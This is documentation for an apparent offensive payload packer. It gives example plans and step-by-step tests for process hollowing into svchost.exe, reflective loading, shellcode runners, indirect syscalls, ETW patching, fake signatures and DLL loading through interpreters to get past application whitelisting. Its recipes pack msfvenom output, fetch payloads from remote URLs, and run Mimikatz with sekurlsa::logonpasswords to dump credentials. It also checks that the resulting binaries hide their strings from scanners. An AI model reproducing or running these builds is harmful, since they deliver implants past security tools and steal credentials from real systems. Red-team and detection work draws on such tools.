Examples
Small, runnable plans live in examples/plans/. Run any of them from the
repository root:
cargo run -- build examples/plans/<name>.yaml| Plan | What it demonstrates |
|---|---|
process-hollowing.yaml | The default Execution technique: run the payload inside a suspended svchost.exe. |
reflective-loading.yaml | Manual mapping into the packed binary’s own process. |
shellcode.yaml | A raw shellcode payload (format: shellcode); the blob is mov eax, 42; ret. |
in-process-runners.yaml | The three in-process runners chained — fibers → module_stomping → execution_callbacks — each returning control to the loader. |
dotnet.yaml | A managed (.NET) payload (format: dotnet + dotnet_hosting): the stub hosts the CLR and runs the assembly from memory. |
x86.yaml | A 32-bit build (arch: x86): an i686 stub and a PE32 payload, run under WOW64 on 64-bit Windows. |
args.yaml | build.payloads.<name>.args and args_mode — YAML args plus the packed binary’s own. |
custom-stub.yaml | build.stub.path: replace the builtin stub with your own Rust template. |
multistage.yaml | A flat runtime: chain: two shellcodes and a living_off_the_land command in one artifact. |
multistage-advanced.yaml | A richer chain: a bouncer gate, indirect syscalls, a certutil step, a hollowed EXE, a sleep and a detached proxy. |
lab-signed.yaml | A self-signed (mode: lab) Authenticode signature and an embedded VERSIONINFO. |
dll.yaml | output.kind: dll: the chain ships as a DLL a host process loads (JVM System.load, CPython ctypes, rundll32) instead of a standalone executable. Its payload opens a modal dialog (the visible check). |
dll-shellcode.yaml | The same kind: dll build with a shellcode payload: the chain returns 42, so every host example in examples/hosts/ reports a value. |
mimikatz.yaml | A full-featured plan: remote payload URL, indirect syscalls, API resolution (import proxying), patch_etw, randomised VERSIONINFO and a lab signature. |
Recipe: pack an msfvenom payload
Section titled “Recipe: pack an msfvenom payload”msfvenom -p windows/x64/exec CMD=calc.exe -f exe -o payload.exeschema: 6name: demo
build: crypto: algo: xchacha20poly1305 key: random payloads: implant: source: ./payload.exe format: pe output: path: ./dist/demo.exe arch: x64 strip: true trim_paths: all
runtime: - technique: reflective_loading params: { payload: implant }cargo run -- build payload.yamlThe full walk-through is Getting started.
Recipe: pack a payload from a URL
Section titled “Recipe: pack a payload from a URL”build.payloads.<name>.source accepts http(s)://; the input is fetched in
memory and never written to disk. Pin it with sha256 (64 hex characters) so
a changed URL cannot silently change what gets packed:
build: payloads: implant: source: "https://example.invalid/payload.exe" # sha256: "<the expected 64-hex digest>"Recipe: one plan, several targets
Section titled “Recipe: one plan, several targets”Positional args after the plan path are substituted as $arg.0$, $arg.1$,
…:
picaro build plan.yaml "C:\\Windows\\System32\\svchost.exe"runtime: - technique: process_hollowing params: target: "$arg.0$"End-to-end tests
Section titled “End-to-end tests”Manual end-to-end tests
Section titled “Manual end-to-end tests”The test payload (test_payload.exe) prints the fixed marker
PAYLOAD_MARKER_7f3a9c2e to stdout and exits 0. It opens no dialog, so a run
never blocks and its output can be captured from a terminal (or by an agent).
The stub itself prints its per-build STUB_MARKER_<hex> to stderr.
Visible payload (msgbox.exe)
Section titled “Visible payload (msgbox.exe)”msgbox.exe is the interactive counterpart. It calls MessageBoxW with “Hello
world” and blocks until the dialog is dismissed, so it is the check to use when
you want to see the payload run rather than read a marker: under process
hollowing the dialog appears from svchost.exe, under reflective loading from
the packed stub’s own process.
powershell -ExecutionPolicy Bypass -File examples/payloads/build_msgbox.ps1Its source (msgbox.rs) is a single rustc compile with no Cargo project, like
the other payloads, and links user32.lib for MessageBoxW.
Packing it needs no dedicated plan: point build.payloads.<name>.source at it (the
default format: pe applies) and build as usual.
build: payload: source: ./examples/payloads/msgbox.exeProcess hollowing
Section titled “Process hollowing”0. Requirements
Section titled “0. Requirements”rustcon the PATH.- Workspace dependencies already compiled:
cargo buildat the repo root. - Process Explorer or Process Hacker (to confirm the hollowing in step 5).
1. Compile the test payload (if missing)
Section titled “1. Compile the test payload (if missing)”powershell -ExecutionPolicy Bypass -File examples/payloads/build_test_payload.ps12. Pack
Section titled “2. Pack”cargo run -- build examples/plans/process-hollowing.yamlThis produces dist/test_packed.exe (and leaves intermediate artifacts in
build/).
3. Open Process Explorer / Process Hacker
Section titled “3. Open Process Explorer / Process Hacker”Open it before running the packed binary so you can watch which process runs the payload.
4. Run the packed binary
Section titled “4. Run the packed binary”.\dist\test_packed.exeThe terminal shows the stub’s marker on stderr, e.g.:
STUB_MARKER_<hex>The payload runs in the hollowed svchost.exe, which has no console attached
(the stub does not inherit handles and svchost.exe is a GUI-subsystem
process), so the payload’s stdout is not visible from the parent. Look for the
marker in Process Explorer instead (step 5).
5. Confirm the hollowing (the key check)
Section titled “5. Confirm the hollowing (the key check)”The payload runs inside svchost.exe, not in test_packed.exe. In Process
Explorer, the svchost.exe created by the stub is the process hosting the
payload; test_packed.exe only waits for it.
6. Verify no cleartext payload on disk
Section titled “6. Verify no cleartext payload on disk”The stub never writes the decrypted payload. There must be no
payload_decrypted.bin in the working directory.
7. Verify obfuscation (no cleartext markers)
Section titled “7. Verify obfuscation (no cleartext markers)”strings dist/test_packed.exe | grep STUB_MARKER # should print nothingstrings dist/test_packed.exe | grep PAYLOAD_MARKER # should print nothingstrings dist/test_packed.exe | grep -i svchost # should print nothingPAYLOAD_MARKERis encrypted (does not appear).STUB_MARKERand the target path (svchost.exe) are XOR-obfuscated.
Reflective loading
Section titled “Reflective loading”Loads the payload into the current process (no external target).
cargo run -- build examples/plans/reflective-loading.yaml.\dist\test_packed_reflective.exeBoth markers go to the same terminal, because everything runs in one process:
STUB_MARKER_<hex>PAYLOAD_MARKER_7f3a9c2eVerify the payload was mapped, not spawned:
strings dist/test_packed_reflective.exe | grep -i svchost # should print nothingstrings dist/test_packed_reflective.exe | grep PAYLOAD_MARKER # should print nothingIn-process shellcode runners
Section titled “In-process shellcode runners”The three runners added for format: shellcode (fibers, module_stomping,
execution_callbacks) return control to the loader, so several can run in one
artifact. The example chains all three with the demo blob and exits 42:
cargo run -- build examples/plans/in-process-runners.yaml.\dist\test_in_process.exe ; echo $LASTEXITCODEEach step needs its own build.payloads entry (pinned with params.payload).
Delete the steps you do not want: a single technique needs one step and one
payload. See the per-technique READMEs for what each one evades and what
detects it.
DLL output (host-loaded)
Section titled “DLL output (host-loaded)”build.output.kind: dll ships the same chain as a DLL a host process loads — the
mode for environments where application whitelisting only lets an interpreter
run. The artifact exports DllMain, JNI_OnLoad and Run (entry: auto), so
one file works from every host, and everything runs in the host’s process.
cargo run -- build examples/plans/dll-shellcode.yaml # chain returns 42cargo run -- build examples/plans/dll.yaml # chain opens a dialogThen load it from a host — the scripts take the DLL and export as arguments:
| Host | Command | Expected |
|---|---|---|
| CPython | python examples/hosts/ctypes_host.py | Run() -> 42 |
| PowerShell | powershell -ExecutionPolicy Bypass -File examples/hosts/pinvoke_host.ps1 | Run() -> 42 + the DLL in the host’s module list |
| .NET | dotnet run --project examples/hosts/dotnet_host -- dist/dll-shellcode.dll Run | Run() -> 42 |
rundll32 | powershell -ExecutionPolicy Bypass -File examples/hosts/rundll32_host.ps1 | the stub’s STUB_MARKER_<hex> on the captured stderr (rundll32 exits 0) |
rundll32 (cmd) | examples\hosts\rundll32_host.cmd | the marker in cmd’s console — the PowerShell-free path |
| Java | java -cp examples/hosts/java_host JavaHost dist/dll-shellcode.dll 10000 | JNI_OnLoad returns at once; the latch keeps the JVM alive |
Java (compile it first with
javac -d examples/hosts/java_host examples/hosts/java_host/FfmHost.java),
Perl, Ruby, PHP, LuaJIT and Node scripts are in examples/hosts/ too. The
complete catalogue — which runtime loads a DLL, with what, and which one reports
the chain’s return code — is the docs page docs/hosts.md.
The dll.yaml payload is a modal dialog: it appears from the host process
(python.exe, java.exe, …), which is the visible proof of in-process
execution; Run blocks until you dismiss it and then returns 0.
The Java host has no prebuilt binary: compile it once with
javac -d examples/hosts/java_host examples/hosts/java_host/JavaHost.java.
entry: auto is convenient but conspicuous (a plain chain-runner export next to
JNI_OnLoad); for delivery pick jni_on_load or export:<name>. Full guide,
per-host caveats and the calling shape: examples/hosts/README.md.
Payload arguments
Section titled “Payload arguments”The payload’s arguments come from build.payloads.<name>.args (fixed, YAML) plus the
args you pass to the packed binary, combined by build.payloads.<name>.args_mode
(join = YAML first, then runtime; override = runtime args replace the YAML
ones). See docs/features/ref/args.md.
1. Compile the argument-printing payload
Section titled “1. Compile the argument-printing payload”powershell -ExecutionPolicy Bypass -File examples/payloads/build_args_payload.ps1It prints its argv between ARGS_BEGIN/ARGS_END (and the raw
GetCommandLineW value between CMDLINE_BEGIN/CMDLINE_END).
2. Pack with join and run it with extra args
Section titled “2. Pack with join and run it with extra args”cargo run -- build examples/plans/args.yaml.\dist\test_args_join.exe "runtime-c" "runtime-d"ARGS_BEGINC:\...\test_args_join.exe yaml-a yaml-b runtime-c runtime-dARGS_ENDToken 0 is the executable name, not an argument: yaml-a/yaml-b come from the
YAML and runtime-c/runtime-d from the command line you typed, in that order.
Running it with no arguments yields just yaml-a and yaml-b.
3. args_mode: override
Section titled “3. args_mode: override”override drops the YAML args whenever the packed binary is given any runtime
argument; with no runtime argument the YAML args still apply. Set it in your own
plan:
build: payload: args: ["yaml-a", "yaml-b"] args_mode: overridePacking that plan produces an exe that behaves like this:
.\dist\my_payload.exe "runtime-c" # payload sees only runtime-c.\dist\my_payload.exe # payload sees yaml-a, yaml-b4. Mimikatz (equivalent of packing mimikatz.exe with args)
Section titled “4. Mimikatz (equivalent of packing mimikatz.exe with args)”build: payload: source: "./mimikatz.exe" args: ["privilege::debug", "log", "C:\\temp\\out.log"] args_mode: join.\dist\mimi.exe "sekurlsa::logonpasswords"Mimikatz sees privilege::debug, log C:\temp\out.log, then
sekurlsa::logonpasswords — the YAML args first, the runtime arg last.
5. Verify the YAML args are not in cleartext
Section titled “5. Verify the YAML args are not in cleartext”strings dist/test_args_join.exe | grep yaml-a # should print nothingstrings dist/test_args_join.exe | grep -i privilege # should print nothingThe YAML args go through StringsConfig, so they are rebuilt at runtime.